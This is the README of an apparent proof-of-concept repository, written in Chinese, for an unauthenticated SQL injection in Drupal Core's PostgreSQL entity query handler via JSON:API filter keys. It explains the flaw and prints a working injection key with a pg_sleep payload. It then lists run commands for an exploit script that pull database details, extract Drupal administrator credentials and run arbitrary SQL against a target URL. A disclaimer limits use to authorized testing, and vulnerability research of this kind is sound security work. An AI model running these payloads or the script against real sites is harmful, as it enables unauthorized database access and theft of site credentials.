本仓库提供了针对 CVE-2026-9082 的道德概念验证(PoC),这是一个 高度严重 的 SQL 注入漏洞,影响所有使用 PostgreSQL 后端的 Drupal Core 站点,版本涵盖 Drupal 8.0 至 11.3.9。
该缺陷存在于 PostgreSQL 实体查询条件处理器中,匿名(未认证)用户 可通过默认启用(自 Drupal 9 起)的 JSON:API 模块进行利用。
官方公告: SA-CORE-2026-004
Drupal Core 包含一个数据库抽象 API,旨在清理查询并防止 SQL 注入。PostgreSQL 特有的实体查询条件类(core/modules/pgsql/src/EntityQuery/Condition.php)存在缺陷,允许攻击者通过 JSON:API 筛选参数中 用户控制的数组键 注入任意 SQL。
translateCondition() 方法遍历 $condition['value'],并使用 数组键 来构造 PDO 占位符名称:$where_id = $where_prefix . $key;
filter[x][condition][value][恶意键]=val
[a-zA-Z0-9_] 字符。当键包含 ) 时,PDO 会停止解析占位符名称——其后的所有内容成为字面量 SQL 注入到查询中。
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)-- 的键,攻击者关闭 IN() 子句并附加任意 SQL,同时 :prefix_1 的绑定通过同一请求中合法的键 1 完成。
本工具仅适用于授权的安全测试、教育目的和道德研究。未经授权访问计算机系统是违法的。
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# 检查目标是否存在漏洞
python3 CVE-2026-9082.py -u https://target.com --check
# 提取 PostgreSQL 版本
python3 CVE-2026-9082.py -u https://target.com --version
# 提取数据库信息(用户 + 数据库名)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# 提取 Drupal 管理员凭据(uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# 列出数据库表
python3 CVE-2026-9082.py -u https://target.com --tables
# 自定义 SQL 查询提取
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# 使用布尔型提取(更快但可靠性较低)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# 交互模式(不带参数)
python3 CVE-2026-9082.py